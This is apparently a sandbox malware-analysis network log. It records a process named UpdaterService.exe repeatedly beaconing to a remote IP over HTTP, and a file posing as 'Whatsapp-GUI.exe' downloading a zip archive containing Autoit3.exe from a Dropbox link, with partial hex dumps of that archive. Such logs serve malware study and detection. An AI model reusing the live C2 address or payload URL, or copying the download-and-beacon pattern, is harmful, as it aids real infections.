Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:50.918394089 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:52.106249094 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50152	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:52.451344967 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:53.661664963 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50153	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:53.996603966 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:55.183161020 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50154	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:55.527853012 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:56.732395887 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50155	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:57.077568054 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:58.263207912 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50156	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:58.605918884 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:59.803452015 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50157	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:43:00.152832985 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:43:01.366291046 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50158	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:43:01.715425968 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:43:02.902340889 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50159	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:43:03.246583939 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:43:04.431730032 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50160	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:43:04.782711983 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:43:05.964744091 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50161	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:43:06.309056997 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:43:07.493808031 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	162.125.69.18	443	7316	C:\Users\user\Desktop\Whatsapp-GUI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 20:39:06 UTC	154	OUT	GET /scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=nll27ti7&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-14 20:39:07 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: font-src https://* data: ; base-uri 'self' ; media-src https://* blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropbox [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTMwNDc1ODExNzQ2NTA4MjA2OTE2NzU2MTg1MzQ2NDg1NDIyNDQz; Path=/; Expires=Thu, 13 Dec 2029 20:39:06 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=f6jjW3hnKJxFAzmPsFjbxAo6; Path=/; Domain=dropbox.com; Expires=Sun, 14 Dec 2025 20:39:06 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=f6jjW3hnKJxFAzmPsFjbxAo6; Path=/; Expires=Sun, 14 Dec 2025 20:39:06 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=MH_3y-gtaY; Path=/; Expires=Sun, 14 Dec 2025 20:39:06 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Thu, 13 Dec 2029 20:39:06 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Sat, 14 Dec 2024 20:39:06 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 3cd7f51f456b4ca2ab0c49b705fe13e1 Connection: close
2024-12-14 20:39:07 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	162.125.69.15	443	7316	C:\Users\user\Desktop\Whatsapp-GUI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 20:39:09 UTC	275	OUT	GET /cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1 HTTP/1.1 Host: uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-14 20:39:10 UTC	739	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="yutighh.zip"; filename*=UTF-8''yutighh.zip Content-Security-Policy: sandbox Etag: 1733837736740329d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 133 X-Webkit-Csp: sandbox Date: Sat, 14 Dec 2024 20:39:09 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 802739 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: afc56d2d7418454983642781eb72a949 Connection: close
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 05 2c 8a 59 e7 0e 09 76 4b f4 06 00 a8 a2 0d 00 0b 00 00 00 41 75 74 6f 69 74 33 2e 65 78 65 ec fd 7d 7c 53 45 16 38 8c df 24 b7 6d 80 c0 8d 52 b0 4a d5 aa 55 51 d0 ad 06 b4 35 a0 29 6d da 22 2d a4 94 b6 20 94 e2 8a b5 46 54 84 84 16 e9 2b 49 68 2f 43 00 77 51 f1 5d 17 77 d7 dd 65 57 54 14 50 c4 96 22 2d 82 bc c9 2a 08 08 2a ab 13 53 b5 68 2d 01 2a f7 77 ce 99 9b b6 e0 ee f7 fb 3c 9f cf f3 e7 af 30 b9 73 e7 ce eb 99 33 67 ce 99 39 73 26 ef 9e 95 92 49 92 24 19 9c a6 49 d2 46 49 fc 39 a4 ff fb 5f 82 41 92 06 5d f9 ee 20 69 7d bf 8f af da 68 c8 fd f8 aa 29 e5 0f ce 4f 9a 3b ef d1 07 e6 dd fb 70 d2 7d f7 3e f2 c8 a3 9e a4 df df 9f 34 cf fb 48 d2 83 8f 24 65 4e 2a 48 7a f8 d1 d9 f7 df 3c 70 60 ff 64 3d 8f a1 f3 33 57 4e be f8 c6 Data Ascii: PK,YvKAutoit3.exe}\|SE8$mRJUQ5)m"- FT+Ih/CwQ]weWTP"-*Sh-w<0s3g9s&I$IFI9_A] i}h)O;p}>4H$eN*Hz<p`d=3WN
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: da da 67 59 6f 6b ef c3 9a 0c 60 f9 16 b6 55 28 f4 ab 79 e7 35 f8 d7 58 bd c1 7b 95 c0 5a 48 77 d4 80 0d ce 16 0d be 47 96 44 83 e3 7a 1a ec 33 46 1b 7c 85 59 ea 6d f0 bc b8 9e 06 2f 53 f0 7c ca ac 65 26 d1 09 6e b3 5e 2d bf df 44 1a 5e ac d2 aa 56 8b ca 7d 21 53 16 59 16 d5 2b 0a dc 6a 20 34 20 bf d3 6f 42 3c 88 ed c1 83 3f f9 a3 78 70 18 da 2c f2 6c 41 c0 cc 37 b3 1a b4 44 7f 93 1e 91 f9 7b 65 af 27 c0 5f 74 de de 39 b7 be 44 53 ba ba c8 0c c0 96 42 75 51 00 a2 d8 27 72 fd ca 78 61 4d ff 6a b8 a0 a6 99 c6 de 9a 56 07 a8 a6 37 f7 d4 f4 f3 40 b4 a6 b7 f4 d4 74 e2 af 7d 6a 6a 85 81 fb fd 61 4d 2b e2 be 17 cf ab cc 70 8c 65 0b a1 c6 41 0e 71 54 91 6e 12 50 e2 1f 27 01 45 7a dc 21 4a 85 ac 57 61 4f a0 ae d9 1f 02 64 37 ca 73 39 64 5a fa 05 aa 9c a1 76 dc 72 Data Ascii: gYok`U(y5X{ZHwGDz3F\|Ym/S\|e&n^-D^V}!SY+j 4 oB<?xp,lA7D{e'_t9DSBuQ'rxaMjV7@t}jjaM+peAqTnP'Ez!JWaOd7s9dZvr
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: 1d ee c0 8c e0 39 69 4a 6f 56 cd f3 fe 0b 38 74 f1 60 df 1b 31 e2 ce 34 5f 7b aa 2e 0f 15 e3 8a 5c 09 11 9d 4a 99 ed f1 d5 a2 38 34 ae 42 88 43 4e 33 0f 3d 46 77 6a 80 a0 e3 3c 88 72 8e f3 08 72 db ce e3 28 06 e5 1d 54 9d 27 48 08 72 72 fa d6 4e df 3a 50 02 72 76 6a 48 34 40 fe b9 08 e5 1f 8c 6a e6 c3 d2 89 92 bc 66 f0 de c3 aa bb 83 4e ee 82 a1 b0 bd 42 c8 38 5f 2f 10 32 0e 6b a9 c8 82 76 ba e8 73 3f 3e c3 83 c0 ba ba a0 b7 85 c7 1e 23 23 8e 77 3a d4 2c 34 ae c4 71 b9 b3 74 26 6b e9 31 6d d5 c6 df 84 a0 f0 f3 7a 9f 1c 5e 07 ad fe 27 dd 4c 27 9a ec 8e 29 45 70 2a 0d ab 45 91 52 c5 b5 d0 3b 3f e7 f7 16 51 f5 d8 05 40 9c 1e 85 a2 99 ef 9c 8f 5d 1c fe 98 c0 58 8e 59 aa 79 9d 68 1e c7 08 23 7d 80 e2 2f 84 4c 0b 8a dd 50 d0 76 a7 66 c0 82 4a 17 dc c4 c6 c9 38 Data Ascii: 9iJoV8t`14_{.\J84BCN3=Fwj<rr(T'HrrN:PrvjH4@jfNB8_/2kvs?>##w:,4qt&k1mz^'L')Ep*ER;?Q@]XYyh#}/LPvfJ8
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: 09 ea fd a8 ff 43 cc 26 af 14 56 21 3e e7 d5 96 60 b2 d5 ac 58 b8 aa 24 bd 67 6b 84 7c 5a 31 5e 80 4e 05 58 9f fe 86 6a d1 3c 9b 5a 3d 2a d2 d4 e4 33 ef c0 6d 1f 58 ad 7c 39 84 ab 44 a8 56 6a 77 1a 46 fb a7 d2 42 d6 a5 67 f8 b2 c8 31 0b 6a c4 67 ff d8 8e fb 4f d1 02 2a 68 a8 da fe 75 fd ce a6 05 56 e5 79 dd 75 0b 68 ae 74 e3 ac f8 66 a3 f2 23 00 52 58 69 bb 21 e9 da 6e 6a 6c d1 e3 97 e0 16 2c 71 aa aa 3d 19 d7 d9 d9 13 ae dd ae 02 6e 87 d1 d8 03 46 e1 6a 2b 18 c2 00 e5 ab 38 8e 0b 73 1e 37 b5 1b c6 11 97 49 58 b9 52 b9 78 09 9a aa 2f ff 65 21 df c6 71 d7 af 30 bd af 1d fb 95 62 2b 58 a7 e0 7c 23 81 fe d3 64 31 0c 83 ec 33 e5 7c e8 51 d4 fb 8b 95 42 b8 09 ae ff e9 66 5d ca 92 4a ff 5f fe 65 e1 b0 d5 4a cb bb ad ea f4 83 7c e5 f0 03 45 56 e5 27 a7 31 ed 86 Data Ascii: C&V!>`X$gk\|Z1^NXj<Z=3mX\|9DVjwFBg1jgOhuVyuhtf#RXi!njl,q=nFj+8s7IXRx/e!q0b+X\|#d13\|QBf]J_eJ\|EV'1
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: ad f0 57 03 7f bf ef 4a 17 1e 05 e9 87 3c d1 85 5b 04 1b e8 0d 03 8e 04 bc 11 f0 ed 20 97 81 94 e1 dc 27 10 76 25 e0 d7 e0 5c 32 c8 4a f8 fb 11 fc 25 c3 b5 74 90 2f 80 7c 1b fe b6 03 c6 7f 3a 5d 88 de 10 1a 86 ed ae 60 1c 2f 4c a0 ae 04 ff 4d 34 09 c2 a4 49 13 27 4e 9a 34 79 b2 38 69 e2 a4 c9 66 b3 c9 64 36 4f 99 32 d5 6c 32 4f 11 6e fa 6f da 34 9d 6e da b4 f0 f0 e9 d3 74 d3 c2 a3 c6 fc 9b 31 33 82 02 dc 72 eb 2c f8 27 44 ce 9e 3d 3b 92 fe 09 f4 43 ff e6 cc 99 33 96 6b 2e d6 64 a8 ca f2 57 90 ae c5 2d 2a 95 99 25 29 81 2d 0f ca 16 23 e6 d6 05 f9 f4 52 e7 07 e3 76 b6 c9 6f 9f ed 87 c2 d1 fa 99 de 68 98 e0 54 b7 89 3b c6 43 aa 3b eb 47 04 d1 fd 14 96 83 ac 90 60 e9 70 3e 36 22 c8 01 ff 71 f6 89 4f 2c 91 8f 05 f0 cb a9 f4 d1 4e f9 cb db e6 62 2b 21 83 ca f6 Data Ascii: WJ<[ 'v%\2J%t/\|:]`/LM4I'N4y8ifd6O2l2Ono4nt13r,'D=;C3k.dW-*%)-#RvohT;C;G`p>6"qO,Nb+!
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: f2 fe d2 8b bf 87 12 e1 98 ae 3c 5e c0 0b f4 57 45 54 a0 fd 1b d8 cb bf 03 45 92 45 81 5a ee b1 98 ad ab 31 69 2c fd 1d 96 c1 0c 08 69 ed b0 0c 60 57 a9 6c a9 a5 be 0b 6a 5c de 40 ed 64 39 af bf f1 16 f8 49 97 f2 fa fd 22 be 38 b2 5a 09 23 cb e1 24 86 30 34 de e2 37 b1 f3 9f d3 32 4d b9 3d b8 ef 03 ad 7f 44 df ea 32 3e 81 15 ec d1 3b 75 ce 56 9d cb 6b cf 67 27 1c 5f 60 d1 13 82 ab 63 82 42 d6 bd aa 8e 8e 6e d5 77 3b 87 d4 84 63 ce 56 c3 6f 05 9d 6e bb 5d 91 d3 47 40 73 a1 6b c0 1e fd 5b 48 3f c1 3e 0d 77 e7 52 ed 21 fe bf 7b d2 71 97 75 43 6c 6b 9b 27 7d 94 a3 6f 39 1a 09 22 ac c5 41 77 a6 58 74 d3 90 a7 de 0c 63 13 55 74 fd 14 0f 82 0e ce c2 d5 3c f1 fe 52 18 74 70 fc 76 ee e0 d8 d2 d7 da d6 54 c4 9e 91 1c 23 7e 3d 20 e6 e7 b4 a1 03 d1 fe ff f8 39 6d 1b Data Ascii: <^WETEEZ1i,i`Wlj\@d9I"8Z#$0472M=D2>;uVkg'_`cBnw;cVon]G@sk[H?>wR!{quClk'}o9"AwXtcUt<RtpvT#~= 9m
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: 59 2f 9d 82 7b b8 5a fa 71 60 f9 86 28 ae 13 72 f6 0a 4c 1e a3 b8 9a e4 ec 95 0e 3f 99 7c 8a 1d 64 28 8b 6d 4a 7c 73 1e 70 07 c0 97 be da 2c c4 3f 10 b0 49 35 36 93 cb e6 6c 5a 7d e6 81 46 9b 29 d7 e6 3c ba 66 10 7c 13 cd 4a 4d bf 95 74 ec 10 0d 61 d7 9a d4 fe f1 8d a8 f5 80 16 d6 ed 68 9d b0 80 bc f6 07 4d ab 2c b5 69 67 b0 f3 17 cb 73 93 e5 18 79 ae 55 bf e2 a6 de 79 a6 ff 1e 59 49 fd 1b 6c c7 c1 c4 c2 0b c9 a2 7d f4 f8 cf d9 25 9a 1d 9a ca 93 39 f4 3d 13 de 4b 61 f3 a3 59 48 de fc b0 a9 4c 71 91 34 63 ef 21 54 e1 cf 7f 07 b3 15 27 e4 93 9b 3b 34 4d 36 53 28 bd a2 f2 cd 4d f4 18 21 63 39 a6 08 cb 30 d7 ac 0e 55 6c f4 b3 7c 8f 55 4e 90 97 25 cb cb cc 95 f7 d8 8c 43 e8 02 78 09 f3 7c 1d c5 63 0a d0 d0 6d 9c 5f 9c a8 cc 4f b5 a3 28 15 f5 44 80 e6 6f ad f0 Data Ascii: Y/{Zq`(rL?\|d(mJ\|sp,?I56lZ}F)<f\|JMtahM,igsyUyYIl}%9=KaYHLq4c!T';4M6S(M!c90Ul\|UN%Cx\|cm_O(Do
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: 7f 80 7e 42 95 dc d3 28 b9 fd 3a 04 9d 87 f9 47 ff 82 a0 c5 17 4c 17 95 a9 5b 59 2d c7 9a ab fc 68 4b 8b e3 b0 6c b0 11 32 52 87 25 36 25 b7 ab 22 7d b0 68 b6 99 55 63 ea e5 6a 88 07 45 80 c5 ba ab c3 67 9b 2e e7 76 3a 03 bc 84 9a 34 9e 78 98 ae 36 c7 ce 18 c9 57 7d 0a ed 72 47 40 18 54 1d 33 37 3b 88 4a e5 8a ab 33 c7 19 5a 33 da 97 6d a8 98 3e 58 8c 47 1b 80 f5 c6 ea 98 20 da e6 ad 4e 50 42 73 d5 f5 94 16 d9 54 cd 49 73 2b e6 ad 58 aa a8 5a 84 e7 17 08 6d 90 ca 4f 73 c2 5a 28 be 1e ad 7b 4e b2 39 47 18 0f 58 3d f1 d3 5d 9a 68 81 8c d5 1b eb 62 e2 e7 2a 36 56 3b 97 56 3d 67 84 45 1d ea 14 bb c4 11 10 0f 63 0d 81 58 50 68 67 79 27 ff f0 1c b4 5f 71 37 74 46 cd a3 61 63 ee 89 a1 e4 81 ce c8 22 0b 1f 40 cc ea 84 b9 ea 51 80 ea c1 ba 30 72 68 e5 1d 99 a2 d5 Data Ascii: ~B(:GL[Y-hKl2R%6%"}hUcjEg.v:4x6W}rG@T37;J3Z3m>XG NPBsTIs+XZmOsZ({N9GX=]hb*6V;V=gEcXPhgy'_q7tFac"@Q0rh
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: e7 f9 b5 a8 c4 ec ea 32 2e ef ed ea 8a e0 dd 7a f8 52 b2 e1 4f 1e ad f7 63 4f 53 29 29 76 1f ef fe 86 59 c6 c0 e6 79 3a dc 18 80 02 b6 ab 81 de 4d 1a 47 da ea 68 a3 b2 07 76 51 43 33 f7 1c 30 1f db 3e 01 6d 59 f1 1e 9c a6 6b 2e ff f8 fe 5e 56 17 9d 82 ea dd 48 eb 08 ee 82 bf e2 00 c8 24 7e 1d 92 ed bd 51 1a 5b 50 ea 75 f4 a9 8c 2e 08 9e 96 9f 3f 1b 62 7c b6 b9 3b 06 83 a0 20 6c 19 65 03 7b a1 cd bd 96 d3 6a b7 7c 2c d4 8c 5f 77 13 0c 26 56 9f e7 37 6b f5 11 06 b2 ba 78 bb e5 24 e6 29 47 60 e6 85 94 fc 87 f6 2e f9 a7 1c c1 9c 23 4e 6a b6 9f c3 a2 7d bd 9c 86 79 e0 47 e4 a5 dc 36 b9 31 b9 09 a6 f5 73 86 26 ac b6 79 4e b8 da eb f1 15 c5 dc 36 43 87 ed f0 ea 13 f2 00 19 37 e8 5d 67 86 36 9e 89 0c 3e d4 98 d5 c7 3a da de 65 5d 9d 02 1e 79 9c dc 04 b4 14 7a a3 Data Ascii: 2.zROcOS))vYy:MGhvQC30>mYk.^VH$~Q[Pu.?b\|; le{j\|,_w&V7kx$)G`.#Nj}yG61s&yN6C7]g6>:e]yz
2024-12-14 20:39:10 UTC	16384	IN	Data Raw: b9 de 0d a5 88 fd d7 a7 0d 5c 28 69 f6 43 01 35 98 ea 6e 96 ca da 73 36 95 0f f3 7b d3 63 1c a5 f8 48 1e 29 7d 1f 66 85 3e 26 d6 a5 6e eb 0e 66 52 96 ce d1 f0 b9 99 d5 62 67 70 a8 15 16 c1 57 4b b8 7a 87 82 03 6d c1 59 03 8a 7c b5 af 44 71 5c 75 05 20 1e a4 08 31 9a d6 6e 72 2e 6d d2 1d a1 26 fd 53 2e 45 13 01 64 c0 e2 30 ca b1 a8 5c f7 d4 63 dd a7 ef 4f a0 b3 94 1f 10 34 96 d4 de ac 71 72 33 a9 bc 59 13 cf 96 85 e7 8d bf 3e 46 e7 8d a6 90 34 f8 dc 63 dd a4 41 df 13 28 9c f1 6e 0f 8e 57 10 03 17 30 01 6e f9 63 c8 f7 9f 01 21 5d 79 f8 b1 a0 18 38 54 2b 68 9c 6f 22 8b e5 a0 b1 b2 36 c1 4c 67 7f 2c 28 fb d9 c2 c0 94 c7 98 ec 07 b2 fc 63 74 b3 63 dc 68 2a ff 0d 67 58 f6 c1 01 3d 69 33 54 c9 c8 7b 3e 59 d1 5d 10 bc 78 27 d4 ef e7 15 98 53 46 f2 35 94 68 4c cd Data Ascii: 